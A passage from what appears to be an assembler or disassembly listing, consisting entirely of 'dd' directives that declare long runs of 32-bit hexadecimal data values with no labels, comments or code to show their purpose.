710F009Dh, 0D619469Eh, 4F3B5D0Ah, 7C5C8372h dd 0A868D5D0h, 56A88Ah, 2A1A10D7h, 0F578CF81h, 5F6B7300h dd 0E2097541h, 2C085CA3h, 0A1F7007Eh, 0D5B052Bh, 41002EFDh dd 5FB21C02h, 0EB11C5h, 0C315731Fh, 6D22208Dh, 95A13902h dd 80DDB87Eh, 0AB4A9DA0h, 64620947h, 0FCA06F16h, 0E1335E70h dd 35F613Bh, 2A6BC07Ah, 0EB99901Dh, 16E33A07h, 0C9D80D00h dd 0BF081757h, 20C7C103h, 0A8DF1D78h, 0F67234EFh, 79390109h dd 2AD4DA40h, 8FC080BBh, 2CF2BA9Ch, 0BE59007Bh, 736591B2h dd 0E03B674h, 273631BBh, 48F4A0F7h, 62D928F5h, 747A04B0h dd 398B11h, 0EAD6CFBFh, 957746h, 8E6EE1DEh, 76C9413Dh dd 3A660800h, 1142404Dh, 65AD0079h, 9A8C5A05h, 460006DBh dd 0B11A4AA0h, 8E628D8h, 53AFBBDCh, 38811204h, 0DDE9BF40h dd 630068A2h, 0E3B1F1B3h, 0B026FE3Bh, 17160095h, 7B2B4BA9h dd 9F00DB77h, 0C7250CF2h, 13115ECFh, 13BBA07h, 576DDF0h dd 887C240Ah, 2295301h, 2EB1F664h, 90D1B874h, 50EB00E4h dd 87BE8CCCh, 0F3382A66h, 4C4C17h, 0CA896FABh, 1DCF927Ch dd 5EC6D059h, 0C068DEBAh, 9F7F1B06h, 0E348916Eh, 7D545858h dd 5C00E490h, 0BE2A0124h, 3C872584h, 381F1F32h, 0E8AED3h dd 88A7167Ah, 0D8B28F2Eh, 11B1BB00h, 544485F7h, 0E77A006Bh dd 0B0F5CFB8h, 0B509F462h, 0E197D6CEh, 30094004h, 8A00F970h dd 6B37CA01h, 1F47C12h, 9869403Bh, 7063CF56h, 5D0C1DF8h dd 11E501FEh, 50E71C83h, 3DD4809Eh, 3A4A9878h, 0F395F4A0h dd 60975C96h, 0A16A6700h, 8F2B30h, 2214CD3Ah, 0F7D25819h dd 45A3CDA0h, 0B009784Fh, 873B0283h, 318440E8h, 0DC293330h dd 0EDC84E28h, 8F0706B9h, 16E1AA5Dh, 87BF0A30h, 759FA8Eh dd 366DFD33h, 42E600BBh, 0C7006577h, 0EB14DCC6h, 47A4E52h dd 21766E35h, 2E18E08Bh, 0D33C1DF6h, 0A3EB8039h, 0C716A4C8h dd 176DB886h, 40CFB5F1h, 6723EEF4h, 0C507B164h, 0A686BF41h dd 0C1E71E11h, 1D203D8h, 0E6D1E3BAh, 64F87C09h, 4E0327F0h dd 0AFB99037h, 88A48096h, 0D659058Ch, 8087311Eh, 23B41D50h dd 0E6FC3E01h, 884C2DD1h, 36012DCh, 99665330h, 0A8C03603h dd 0B848F84Bh, 0ECD90E48h, 4E23C01Eh, 353A2Ah, 0C9606C71h dd 0E4E64BBFh, 0B9287C63h, 0C28A85Eh, 48FC045Ah, 84D8D347h dd 0A820D062h, 0B4E22607h, 6044DE00h, 0FB1C6313h, 0D09EE3h dd 55C45DBAh, 58B08971h, 0DFCC6C13h, 0F7574404h, 4E47E4D0h dd 0C7B00021h, 0F19F9BECh, 4B1C55E6h, 0B64930E1h, 35180145h dd 7DDC5E85h, 64B451h, 3A12EBFDh, 0E448E013h, 1C350080h dd 10A4385Dh, 8644139Ch, 0F338C05Ah, 0BA5984h, 92B53001h dd 71EE5C0h, 0E3553880h, 79A57682h, 0C0D51A3Dh, 0A190D2h dd 0BAC68706h, 781130E0h, 8A753AE4h, 82D0550Bh, 0E931005Fh dd 48D70AA2h, 9307604Fh, 97F6E288h, 95D9E061h, 3A0E99CAh dd 0E082AA75h, 7B58F72Ah, 88520076h, 74C62478h, 34008E48h dd 1642354h, 0F6B39D36h, 0FC3FF631h, 3E54984Bh, 96C09FEEh dd 0A82E7803h, 871CB1D3h, 0D23AA550h, 9CAB0037h, 6BB07C19h dd 99E65D71h, 0FCBB6804h, 2F80C597h, 151C332h, 0FB40A26Eh dd 219A0163h, 26143099h, 0C40B2824h, 38670E16h, 0A364F861h dd 260820h, 0C1212489h, 7D04DF9Dh, 8C0F6C13h, 0DA562C01h dd 4432E2F7h, 9D8DBA07h, 4F3B10C3h, 0BF0755C9h, 0F078172Eh dd 1DF82049h, 1DA51AC4h, 5C600Bh, 993DC053h, 939B794h dd 0A34C7Ah, 7DC39E02h, 0E86C52FEh, 0EC70C068h, 0D1909A20h dd 0F1425900h, 0EB8CBF0Dh, 7DF4E46Fh, 57E6095Ch, 0B881EE99h dd 65857D73h, 321B40C4h, 0EB0097D9h, 64932290h, 0A82161h dd 1D75ACB3h, 0DF6732D0h, 0A16BAB04h, 6CC044D2h, 0E44BEC25h dd 763700F6h, 9C0AF7E0h, 0D00FCF2h, 0D1B47E67h, 3BEC8Eh dd 0F1DB855Eh, 0E8E3D272h, 69008C9Ah, 42B415E4h, 1A37E3Ah dd 1786D9F2h, 0C041DFA8h, 0C1036B55h, 0A0EEE5C3h, 477FA8E0h dd 0CF8D02F0h, 2552F313h, 7A458F60h, 16D19602h, 0E0504973h dd 13E53BCh, 378C26C6h, 0C82C0415h, 9A2873B1h, 3A0280F6h dd 0EEFD589h, 1C08D16Eh, 0F563C02Ah, 540C2B8Fh, 0FE431005h dd 980AB92h, 9B0BE8h, 0F4A1C537h, 0C04620DEh, 55733000h dd 743A3667h, 0E9F70047h, 0B598F02Fh, 104AB0DEh, 1DC0F001h dd 728396B8h, 821A1430h, 62C313F8h, 0A671A101h, 15E3742Fh dd 0D542FCh, 0FDE98F94h, 0FF8E8995h, 570E9C00h, 0DFAAD33Fh dd 1F3B00EDh, 224FB4E5h, 0C272D715h, 74412F5Ah, 932B5DB6h dd 0A86FA6F0h, 0F87E23B8h, 86321798h, 0D9BB00E6h, 2DD9B67h dd 92094201h, 0E496B922h, 9FA8B850h, 6AFF0F31h, 0DE3A55h dd 0D69277D2h, 1903716Eh, 7B685A70h, 301180D0h, 0D3D82412h dd 0E2C10B64h, 49981000h, 7000E40Ah, 5EE36351h, 54DF43h dd 0E7E29E68h, 0ECD2911Dh, 0C32D9F00h, 6492F931h, 10936051h dd 0F60C53D7h, 0CD00D5F0h, 20097626h, 266C5743h, 16C67FEh dd 8FB74CF1h, 0CBBFF8E1h, 83329D00h, 9E6C4ECDh, 0C0587D49h dd 8A7DAA90h, 994C05BAh, 0EC6B080h, 0A0ECA029h, 0BD931CCBh dd 623B4004h, 3199C3D2h, 0F2F9FC09h, 50FCC0FDh, 262F2856h dd 7AF600F8h, 90BB92F0h, 0CDE6B291h, 38135400h, 9F352706h dd 4253163Dh, 0A2450CF5h, 0AE07B440h, 7949820Ch, 3CBF030Bh dd 0F8718101h, 588004DDh, 4AB9A08Bh, 2F1DB8DFh, 0F6C0F34Fh dd 3DA83293h, 0E8373DD4h, 39C16700h, 5BA45451h, 9000F098h dd 0B297EE26h, 26F4960h, 0CF29E18Ah, 0AC697669h, 6818ECBEh dd 380023EEh, 1B947312h, 7E5070h, 0D9B3D172h, 788CC452h dd 0E4454E0Ah, 0F5268434h, 0D471D717h, 5CC89833h, 271200CDh dd 0F775B74Fh, 0F487056h, 4CA62474h, 2D609700h, 7AFCFBB5h dd 0B347F4Ch, 38E55340h, 0B119ECC0h, 8248D00h, 0B7490C20h dd 582D1643h, 0EBDCD8F3h, 5AFF8200h, 5011E881h, 0F6E00B40h dd 7C205758h, 0FA1CED2Ah, 7B78DCE0h, 76859801h, 91C3C56Ah dd 3703C878h, 0B7BC1E8Bh, 81B8C1D5h, 988112Dh, 0FC05F878h dd 0B020E9C6h, 0CD09AFFCh, 275D9066h, 4690CA1Ch, 0B0D0E3E4h dd 283D01C0h, 7D0E492Eh, 110AE8C6h, 2D8174Ch, 3F26B588h dd 2F28505Ch, 0FC80A8E3h, 5BD36B4Ch, 3AC72800h, 38AE82ECh dd 0AF473AEDh, 0B5A19F8Fh, 8892CB60h, 5A73E501h, 0B9008D75h dd 3FEFF92Fh, 3A61661Ch, 0C0833140h, 2C654535h, 0D23B58D0h dd 1A03E8F6h, 8C362884h, 0B977F882h, 8323008Bh, 972BF355h dd 0EC900B52h, 0F70E5AE0h, 2480CE45h, 0F0B09A72h, 0A74B002Fh dd 0B0C61C27h, 200FC83h, 0ED7B9A5h, 3D0AB76Fh, 0F61DC9E1h dd 28BF80E0h, 129BD3EBh, 0C8597800h, 36114383h, 0D621052Dh dd 807FB60Dh, 402FF3F2h, 5DE24D0Ah, 721F88EDh, 46C7FD00h dd 1D62C235h, 40A216A6h, 0E71EED81h, 7E00D3E6h, 69C59B48h dd 3D270CA3h, 3F800350h, 0E74CFAADh, 1B075E88h, 0BFEDCC7Ah dd 0A4803624h, 9807A2FFh, 716C0FC8h, 0ACE246E1h, 48C81C87h dd 0F0BFDDB4h, 0F466E544h, 3718D505h, 1CF800DBh, 0BC5286Dh dd 5909F3E0h, 612F07FCh, 0E07D4F00h, 3866700h, 2873843Eh dd 68984D01h, 697062B1h, 4B8BD8h, 5D354F82h, 386CE84Ah dd 92C39100h, 2DC81E1Ah dd 69F30020h, 0C04E98C6h, 0F800B9EEh, 0F9DBC7AAh, 0A0EBF1C3h dd 18B8A3CCh, 81BA65DAh, 0D30064E5h, 444C891Fh, 4A1769Dh dd 4137A9D0h, 20FCC773h, 847E705h, 0A5FF3912h, 393F38B0h dd 2182739Fh, 8A82C474h, 0D2008070h, 85292D96h, 0F0BD6Eh dd 6A41B85Ch, 0DC40BB54h, 0B2006098h, 7B5F258h, 0E891E62Ah dd 23E40004h, 0B8DB4C5h, 0B33F0D31h, 1CCCCBh, 0FE978149h dd 793344h, 42C7AB96h, 0D0AA7374h, 0BAA6153Eh, 7BF287B1h dd 4846EAB5h, 289200B8h, 8E1346CFh, 23009D5Fh, 88D149C1h dd 1F1871Fh, 0CDFA6B45h, 0E5CE069Ch, 8BB0D064h, 22B70A00h dd 0FBBE71C7h, 8C7A25h, 462BF92Ch, 4CA28589h, 9F49E500h dd 0AF707A28h, 74F76D5h, 5327A966h, 0B33A0563h, 86ACB800h dd 5CB3C488h, 91742216h, 10908C85h, 0B23CEF2Dh, 194426E4h dd 4396BB44h, 9E2C1D3Bh, 36CE40C1h, 0DFA93D79h, 9516D300h dd 8E4D8633h, 59B900A2h, 2F8F6470h, 0A5090E19h, 80A149BBh dd 98F3B429h, 2890029h, 0B390BF40h, 7527826Eh, 0BDC805E6h dd 45E088h, 0C3C015C7h, 0E0DA2C66h, 3D36C905h, 60F0046Bh dd 6F9F1FACh, 0B17AC0BDh, 0EB24ABC4h, 0A8092800h, 1AFD15FEh dd 2DE500F5h, 58C4477Eh, 0BE00BFA2h, 9D4B8722h, 0F5C3A6h dd 4329BC15h, 2737C4EAh, 376C898h, 785F5E15h, 58B70080h dd 3A040AE8h, 24BF26D0h, 6C6F00ACh, 30B35147h, 123CA400h dd 9F2BF292h, 384F6Eh, 0D9CB7E20h, 33306801h, 26E2885Fh dd 0B7D20183h, 5E99794Ah, 611064E3h, 0EE001176h, 0F82F548Fh dd 26305A93h, 2C76E598h, 33298870h, 8548A680h, 0B28343h dd 70EB7477h, 1D96FB25h, 0CDE1CE00h, 0DF7F937h, 0F16A02BFh dd 25F58F9Ah, 7C5854C4h, 41FC0014h, 1FDD047h, 0F73B03BEh dd 5D6FEF18h, 0E12E1598h, 0B8C007B8h, 9FAAFBB0h, 0B5340EDBh dd 53AE2Bh, 0D5E69D88h, 77307E8Ch, 46F4C8B4h, 7CF502DEh dd 0CBE035DCh, 5500EC7Ah, 60805C48h, 48A685F0h, 4900B861h dd 749B7FF8h, 9F00DB71h, 0CAD67877h, 1FDD1294h, 40954CA1h dd 27468ECh, 2C94F979h, 56835E00h, 701E5192h, 0F8D80023h dd 759AC6E8h, 0C0A00B60h, 72009C0Ah, 53FDE414h, 941DB5Fh dd 0B2358762h, 0A000AC70h, 7B91197Ch, 0EF8C99Dh, 0ACC79EC5h dd 0F5B3E660h, 0DB5C263Bh, 0B8B43F37h, 519B00FDh, 2F2E49F6h dd 2A3F7A14h, 0D0A5F1h, 0BF058BAAh, 1A649DFEh, 240DE4Ch dd 0A59339FAh, 8400E058h, 4B320060h, 4F24BB81h, 8B001B18h dd 64F1F5A7h, 1565702h, 0A59CE0B3h, 60010654h, 48116728h dd 0D884F3FFh, 0D4088D02h, 74F40AB1h, 6AF3140Ch, 0B7CE075h dd 0BC7B4D4Ah, 43AEDC07h, 0AC25B72h, 893D0040h, 78744517h dd 3C6E00FBh, 976119C8h, 0EDF7C202h, 0A0E9D99Dh, 1781E6E4h dd 0B4A1EE22h, 30B86010h, 2E003811h, 0EB45DEF2h, 54CC9A9Fh dd 6D1D43Fh, 0F1AA7470h, 0DB0010A0h, 0FD4EED0Fh, 7A6679A7h dd 0C35712F7h, 0A5C20055h, 76589619h, 841CD10Bh, 0BAB081F1h dd 0AF609B3Fh, 0D8C269C3h, 57C04082h, 7D9E5056h, 3B4071DDh dd 0BEC159CDh, 0D3470064h, 0E90990B2h, 8700F137h, 0D4E5E94h dd 4C0CBD34h, 8200DC5Ch, 1379AADFh, 9B0FF83Ah, 0E08808E4h dd 0EA8E53D7h, 0D6B00435h, 0C3BACBC7h, 0A0E43EB9h, 44001720h dd 2C9E7110h, 794533h, 0DAA51663h, 0BEE03F41h, 0E9D7B21Eh dd 56D3A900h, 0A09D98h, 8F507235h, 60DDD86Eh, 0ADB7793Dh dd 403C8B2Ch, 27DBAA88h, 0C40B3B1h, 9E000B1Bh, 7E67F86Ch dd 1DD64CAh, 81136B51h, 60E34F9Fh, 0D4000E9Bh, 922D04AFh dd 25D9B067h, 9C2FC7B9h, 0A3260500h, 70139F4h, 6CD6DE3Fh dd 4C60833Dh, 6F54002Ch, 90A48030h, 30024CAh, 0E570A916h dd 1C9555D4h, 432893B4h, 2D3BA20Bh, 0E73A317Ah, 125C0AFBh dd 0A500CC0Ah, 7F466BAAh, 2B876A8h, 0FDF5E79Eh, 4C706A6Fh dd 0C0283160h, 733F1Dh, 0DF1F5055h, 0CAB43B9Fh, 74C4248h dd 2093FD6Fh, 5CAC9180h, 0ED21673h, 54E20FA7h, 85B87DA2h dd 12CB1CE0h, 0B9904003h, 0E0F3D606h, 44E80h, 772D7567h dd 1892D3EFh, 3600E9F4h, 78595EDh, 2249C4h, 6128DF69h dd 0B2D49D91h, 0FCC06C4Ah, 0D9A8C3h, 234CAFCDh, 3D61C881h dd 3E0017F4h, 65DD531Eh, 0E0391B9Bh, 16F0BFh, 1A4D633Bh dd 0E36F7DD8h, 4C5BF90Fh, 0B501938Bh, 0D60CE149h, 9E3057C1h dd 0E930014h, 87085298h, 8278B18Eh, 3825AE00h, 1811C9FEh dd 4A240077h, 72F02B33h, 93E056C3h, 48F2B8B0h, 3601CE7Dh dd 2D245962h, 0CCD83E2Eh, 74C1005Ah, 5CA8E8CFh, 9A0345DFh dd 2D5329B2h, 94F6F0A7h, 0F8B1E71h, 2E1E83C2h, 61E7C86Bh dd 6D9C6082h, 28A60008h, 31D0F1A8h, 7F9F1E09h, 5F4F8072h dd 505AB8A0h, 0FBF44000h, 0EB8A7136h, 0E00803E6h, 3EF0A36Fh dd 30F20800h, 8F0338E9h, 0D5652848h, 3698DBh, 63333C27h dd 3D3971C2h, 0FBD10500h, 0E25CA9EDh, 0AB11002Fh, 87F0A472h dd 4CF07F3Fh, 1BA0300h, 0C1FFCFA1h, 64B603F7h, 0A577B726h dd 79C8C0CCh, 0AA002D27h, 0AF2F2C73h, 0F096AC9Fh, 0FC78C0E1h dd 3DFB04D6h, 0C2CB5A00h, 450A9AADh, 5F610068h, 5654C0A6h dd 3B48378Ch, 0C75317ECh, 0FD1002Ch, 40A5F367h, 0ECA253h dd 18D5BBA3h, 0DBB56Dh, 0D080681Ah, 2D836903h, 8A6A1100h dd 86BC25C6h, 739F09Ah, 39B9987h, 0B3B96256h, 0B0405762h dd 2659937Eh, 0FC500024h, 8C495D67h, 0ECB43D40h, 0B00FAE3Eh dd 0E903C83Ah, 1020ACA5h, 186C7792h, 20B2DD36h, 0EB60618Bh dd 577C3548h, 74411CD8h, 94120498h, 77E8C08Ah, 0BF0125A8h dd 59B1D52Dh, 27706A8Bh, 9A4A61h, 635AAD44h, 0D001D4EBh dd 30580341h, 5C580447h, 119422Eh, 0E8C9C2A6h, 0D530FC90h dd 71D8EAAEh, 5F2601B3h, 0A8EFAFF5h, 24ED018h, 0CD8C8B00h dd 8E19A01Ah, 82960037h, 10554994h, 830E9FD5h, 348C03h dd 1FD86405h, 0ACC8007Fh, 0A02DC6F2h, 0B80170BCh, 0D4712581h dd 0F9ECB703h, 0E2940276h, 0B5D39599h, 0ADE4860h, 0A4A62101h dd 0A3FCCDF2h, 2708C0CCh, 0BDDED56Bh, 0B8367300h, 288F3Ch dd 0C40F9657h, 0D6A08358h, 0EFFB96C0h, 0E75240h, 0EEEC4637h dd 0C1503F29h, 75F19700h, 3464B812h, 27223973h, 0F3C4E500h dd 295F8A10h, 0E24B5E01h, 0E949AB86h, 0B03B5CE0h, 3824E32Ch dd 0E28100D7h, 0A334B114h, 7500C399h, 4CA08D08h, 0E66A2C1Ah dd 50354806h, 0F201C781h, 0E2E06E43h, 443C0050h, 3DFC6B9h dd 63037DE5h, 0D29A6F0Bh, 3C301509h, 9F07D049h, 5F8921F0h dd 0D69BAFC0h, 0EA24FA48h, 660185B0h, 0CF9526FCh, 1E2D51F0h dd 1CA1CA1Ch, 12690076h, 67235005h, 0B8928B2Ch, 0CDF01000h dd 48DD722Fh, 0A50F7769h, 90649455h, 5D14E031h, 45805700h dd 9ECED244h, 819C0062h, 9D7D6D5Ch, 38D22675h, 2F0C9700h dd 0B874B7B9h, 0FC55F28Dh, 2D1800B3h, 0BE156416h, 0F25A9097h dd 0F36F6090h, 31F79F9h, 0AECE88BDh, 0F801067Fh, 8130DBD6h dd 3AE0F6BCh, 0F50B0965h, 5800DED4h, 17A784ADh, 685E1400h dd 393431C2h, 0B8DA01F5h, 0BC1367AEh, 6AC6DC03h, 0EF7E1801h dd 0BED598D8h, 67D4CEE5h, 0F0500024h, 13EB2084h, 0A6001D35h dd 4BC61E76h, 0A107B7h, 3BE3D5E7h, 64E17CA8h, 102C3E00h dd 1AC3E995h, 0ABA000DCh, 4578F560h, 0CF076B58h, 5E833BBBh dd 0E74F00DBh, 25D07Fh dd 506203Fh, 8AC9664Ch, 0F7F68100h, 957F3432h, 0F23500CAh dd 5DE7D806h, 93070EF4h, 94271B76h, 46156520h, 0D86600A7h dd 87D3283Eh, 8100C48Fh, 96644C07h, 1F034DDh, 8BF0DA9h dd 0C157EBF2h, 0C4A17FA7h, 0C2FA05E1h, 0CA802E0Bh, 865704DDh dd 10C8CD7Ch, 64F43103h, 0EB0FCF70h, 0F8207506h, 910E009Eh dd 82CD617Ch, 0DC32DAD2h, 13B12956h, 452498BAh, 1462AF21h dd 2229A9C6h, 79429F75h, 21611811h, 89780819h, 5B943D90h dd 210D2964h, 28178A60h, 226E3642h, 0D0220761h, 21B52485h dd 4E2FA1Eh, 871A2155h, 0CB206912h, 183597h, 7B1D143Ch dd 0DDEBFA02h, 5585E200h, 2F3E5D87h, 6DF09Dh, 294B8C2Ah dd 8FA86A84h, 8B0085E6h, 0E421C769h, 51F3F0h, 3D8A6588h dd 26E2F1C3h, 97F84200h, 0A386A29h, 0F07200AFh, 0E7AA0F59h dd 6D009168h, 70CE524h, 70B53BE4h, 2160B59Dh, 0E307C59Ch dd 513E72D6h, 5FB6CBC0h, 0F65C1D60h, 76A880B2h, 964A70CDh dd 0A3008A7Fh, 0FD9D040Dh, 0F4244D4h, 4318B56Bh, 0FCC38B60h dd 85009EB8h, 0D8FEE974h, 79534CBEh, 57779BCh, 4FBA604Ah dd 0F59401D3h, 0FC8473D9h, 33015AF2h, 92EE6EA7h, 4ED1AC86h dd 9C6C1080h, 29023A68h, 0CC2B0104h, 3C809908h, 7BCAF1h dd 0E3EDBEB0h, 25138D26h, 0EC659703h, 0A89C73F5h, 7DB9E54h dd 45581D3Ch, 7859A015h, 5076257h, 8271B9ABh, 4D88FCF0h dd 5BE80Eh, 96256913h, 51246CACh, 6EDE5907h, 0A4A0A1C4h dd 0CA63A01h, 74A57CEBh, 2E60EF48h, 0C4980AD6h, 0A9E7022Ah dd 35F02F89h, 0ACD055C0h, 0C7CF4C03h, 91FA59A6h, 9440CB2Bh dd 5C6B3Dh, 4BDA2847h, 412162CCh, 362A8400h, 0F35DA1F4h dd 929C00E6h, 0C15BFB5Ah, 5007BEACh, 0FED4D365h, 1C2CB4C0h dd 0CB050032h, 53CF73DCh, 540FE2BAh, 24E11Ah, 1CFF25F1h dd 0CA4800D7h, 2A69B686h, 850091E2h, 0AA71BA9Fh, 0B8ECDA2Bh dd 16C2C042h, 33A1E383h, 8455DD0Fh, 0CF374054h, 4F14E7h dd 0AD623015h, 49E36AB5h, 0D20FB17Ch, 40E6B381h, 13069760h dd 4C771D3Fh, 7D8EC08Ch, 785B71FBh, 8565D00h, 431CDAFDh dd 6A62002Fh, 8D39F054h, 1B2D348Bh, 56D03Ch, 67707495h dd 0DD7BE9BFh, 0A12E577Dh, 7200F3D5h, 0A3E703A9h, 383D90FCh dd 328019D9h, 71CDBD6Eh, 55509FF9h, 4703EA80h, 4948EBB2h dd 0A4700F0Bh, 0A00FD16h, 0CC1B60F8h, 86F648h, 9E4EF92Ah dd 3BF8858h, 5644AABBh, 8CA8C3F7h, 0B6008A98h, 0EC37361Ah dd 18A15Ch, 2FB89BCAh, 86BD4F3Bh, 1ED9F030h, 0C084B642h dd 0CF1B1D98h, 0FC065407h, 774080A2h, 855D0018h, 0D7E1B28Fh dd 0C9015968h, 1248DB1Bh, 0D6ECAACFh, 6CF103BDh, 5A16C397h dd 0F16E1989h, 1D8E60B0h, 0C58AF500h, 70EC4F43h, 98A90A25h dd 0BF8644h, 0AF4C060Dh, 0F00FBFCh, 52AED5C7h, 0F25599h dd 0D61F6F61h, 0EAFEFA82h, 0DE5ADD00h, 0BF0FDBCAh, 0F0E01E76h dd 0CFD31CA0h, 896374BBh, 0DFC8529Bh, 4F0E3405h, 401D69C9h dd 71A159FDh, 0B5E0B7h, 0F7DF5804h, 0D7126E62h, 8008B13Fh dd 6953F9D1h, 1B20C5h, 856B271Ch, 6D1E29CAh, 60F7E701h dd 67FC8070h, 0DE28F8h, 0D9D307B9h, 0EA8E0A8Ah, 8B88C701h dd 4C7C0357h, 99D06680h, 5AE7D538h, 0A3836600h, 6525571Eh dd 0C0F152B9h, 21F90600h, 39D54F0Eh, 4400AB72h, 872650AAh dd 0EE2471h, 75AC66E9h, 70B568A5h, 0D006EECh, 0FD196258h dd 3C9E3053h, 3798FE12h, 9648180Ch, 30AAD630h, 7E8F313h dd 2817CC1h, 5CB62001h, 35009257h, 965F1B24h, 4430419h dd 0C68BAF31h, 1C0BEF7h, 0A901D3h, 0ED65725Eh, 0E9A6738Fh dd 52FAC112h, 0A76C5800h, 3C47C28Ah, 0EE07AF75h, 0F0030F5Eh dd 0E75D2939h, 42091200h, 81451153h, 1C6D00E5h, 0F93BCBA9h dd 2D00256Bh, 90A0ECDCh, 2418BC68h, 7D81777h, 60040C85h dd 23B0FAD0h, 48CA8400h, 2CAEB42Dh, 0EA010162h, 63B95538h dd 85173076h, 2FAA5200h, 0CBA480D8h, 316B0021h, 2696B698h dd 0E0009B86h, 14BCD2BEh, 2F7607Ch, 0A9DACF33h, 0C0484EB2h dd 5C3B941Eh, 5D768072h, 0F35AE677h, 1DDD3CF0h, 0BD510200h dd 4144A147h, 0FC00E971h, 969CE763h, 7CA27E4Fh, 50523A69h dd 34C50E00h, 5A47E51Eh, 75B2D102h, 0A09268A6h, 84512780h dd 0B6F512E7h, 9780753h, 0BDC15014h, 0BA0095C7h, 68435A42h dd 90C27737h, 0B24905Ch, 0CB2C7F48h, 2B499780h, 880196D5h dd 0C0F9DCC6h, 0FAD83312h, 0E667FF1h, 4A5F5559h, 9219BA66h dd 6002CA00h, 0B68BF238h, 0BE7600C6h, 97B07263h, 3EE4BD50h dd 0C2C92600h, 6E42380Ch, 9986000Ah, 714644E1h, 0C1B5F54Fh dd 0E9E8564Bh, 0D967003Ah, 0E2B9CE04h, 0E0B76FA5h, 1D3F72F5h dd 5F439A6Dh, 0F51C81B4h, 0E81B0EBCh, 0DA28D5B5h, 8C24B85Fh dd 148014C7h, 0FE9240CFh, 7291002Eh, 7BDC9D9h, 0A201A9B2h dd 0E1E4F173h, 48808D0Dh, 0CB99DB6Bh, 0B6904E45h, 8AFAC02h dd 48D83B1Fh, 0E62DA520h, 0D48509E3h, 4003995h, 3D24E563h dd 91964C00h, 3C3E6884h, 0FCC548A6h, 0ADD32700h, 4F025829h dd 8D4B38h, 1C84443Ah, 35AE8h, 0C24CE44Eh, 0A2F578AEh dd 0DC18470Fh, 0D4C4C341h, 0B783E893h, 1E6F1F66h, 981C002h dd 0D0773ACDh, 0A714C500h, 0E2B6A1F8h, 0B211034Bh, 0A09AD8Ch dd 48C18B9Ah, 22C3C4A3h, 370080E2h, 4B01A79Fh, 1D9AE124h dd 80EC21B6h, 0FFABFB82h, 0CB0EDDEDh, 40B34D5Fh, 59AA340h dd 4B4E38A9h, 7393C12h, 0F0159CC6h, 0AEF8767Dh, 0D7DB9F00h dd 544ADD0Fh, 0D81E6003h, 9B60C987h, 68089300h, 1CA9C6EEh dd 6E6300D9h, 11889523h, 653BB880h, 32A60E0Ah, 481E2083h dd 0F24D7h, 0B92F8B42h, 3FC7E047h, 9E81FC06h, 0B825E9h dd 577AAC4Dh, 5537E358h, 0CB6709Fh, 79B592D1h, 3100DB80h dd 9DAE3F91h, 1012F0h, 8C7F0BC5h, 338B0FBEh, 80C3EF24h dd 9E26AE00h, 0FD6211h, 13556E23h, 6195E770h, 96FB8701h dd 508F60DEh, 5992A820h, 0E23E14C1h, 3D8B9D81h, 606B7E7Ah dd 16006083h, 693FBC43h, 726EC070h, 3C292E14h, 0D41FB940h dd 0BCFA80AFh, 40EC9DCFh, 88C18930h, 597F7864h, 0F48008F8h dd 98383483h, 0D50A7A00h, 7B5A5C75h, 0EDD90028h, 81FE6456h dd 26505DF5h, 9124AC8Ch, 4C804C65h, 176ED48h, 0FC20EB0Fh dd 6CE2008Dh, 0C60DA9B4h, 1400E510h, 64C2ED3h, 606EAD3Bh dd 0DABA2847h, 4F608D5Bh, 73FAD511h, 0E36900CBh, 0FEE2C5FFh dd 7A0A14A2h, 0DFDE916Dh, 85194500h, 508C69h, 3880AB04h dd 0EAA32073h, 0CC5D9F24h, 0BD835800h, 0F143CEh, 0BAAAEC92h dd 0A57E0C73h, 0E32E5E01h, 7F4E3D0Eh, 0E1F8AF61h, 7C100059h dd 0F76D2AB7h, 0D0021921h, 0CBECF898h, 1237412Bh, 0E271CC20h dd 0EEC9911h, 1FA0ECD6h, 317601BAh, 6BA96A00h, 33575DA8h dd 697F00D9h, 79A64751h, 8F7C2648h, 0F93D0F00h, 9AEA052Fh dd 99191555h, 7148B813h, 6F834C03h, 70004AD6h, 11EF3C69h dd 9774EEAh, 409B393Dh, 366F9F82h, 0FB9998C1h, 0E443D4AAh dd 7CB8C7F3h, 790F8DB2h, 60AD8412h, 0FFC92276h, 574A00AFh dd 8F9D52BAh, 4B1C09C1h, 9500434Dh, 5D0DF15Eh, 7E8D0029h dd 88AE5DFh, 0C916BC84h, 30039145h, 0AF1DA828h, 69F94D80h dd 0DA2F0060h, 0BDBA8249h, 7300A4F5h, 6280CC8Bh, 0FAAF98Fh dd 0C8D8F0FEh, 0EBB34E40h dd 9E48B13Fh, 8F6402F4h, 8050C571h, 14D706FCh, 62BD00DAh dd 0BAA1F21Eh, 0A400CA7Dh, 2B317A50h, 638779h, 695A7DCh dd 0C80EE75Eh, 32E7C98h, 13D50E1h, 7AB1602Bh, 8865C67Dh dd 5008E3D4h, 424FB4EBh, 2338809Fh, 0EB8B1Ch, 0DDC4AD5Dh dd 0A434684Bh, 0B1E41900h, 0CCB57DD3h, 8914005Ch, 6A6B7B18h dd 2A00DABBh, 53C3F6AAh, 1F622EC6h, 8017FA20h, 0D9E06339h dd 0E900BB4Fh, 4BBDF309h, 1C6D803Ch, 9075A55h, 0F8079418h dd 971531CFh, 0F9CA004Eh, 0EEB80337h, 0C3959D7Ah, 0A37682F0h dd 57D73300h, 37C45B0Eh, 0A80B03A1h, 51060C66h, 1D4090F5h dd 910047CCh, 567B4F2h, 48B13971h, 9C09F8BBh, 64807780h dd 48E54255h, 94ED8103h, 0E886B210h, 9014EB8Dh, 0FE960278h dd 1B7E1784h, 31C21860h, 0BD41AD00h, 0FBB6B99Ch, 165F07BEh dd 40369E8Dh, 18C37EB7h, 818A8F3Fh, 0D8CCD7E6h, 0A6700168h dd 594B0002h, 0FCF52B53h, 650051C4h, 0C6823A64h, 79FB697h dd 4FDF735Fh, 0FE29B363h, 35757FA8h, 7AA2E70Ah, 0A440E430h dd 88E8ECE3h, 700B9D8h, 0CCB2F3EAh, 0C3ED1Eh, 5DABD766h dd 162E20DDh, 6719AC00h, 0C4616FD3h, 8B741245h, 7AA08324h dd 593E83C0h, 0F6B83002h, 0E36A5E44h, 0DA84C0C4h, 0FC1050A3h dd 0AAD000D1h, 57871EEh, 2A001FF9h, 2EA3CBE6h, 3C8CD5h dd 19C13641h, 24B9C54Fh, 0C2048BE4h, 0F39E5C7Ch, 0CE52A887h dd 80F36231h, 0E6A04BA8h, 0ECC74165h, 7C00C6E0h, 5214A58Ch dd 818748h, 0E7326B31h, 0B3CBEF1Ch, 3A68F400h, 22F221B8h dd 10010098h, 32DB7604h, 0C6005856h, 0B70D4152h, 8042F2FEh dd 3C00803Eh, 0C239383Fh, 22B0F03h, 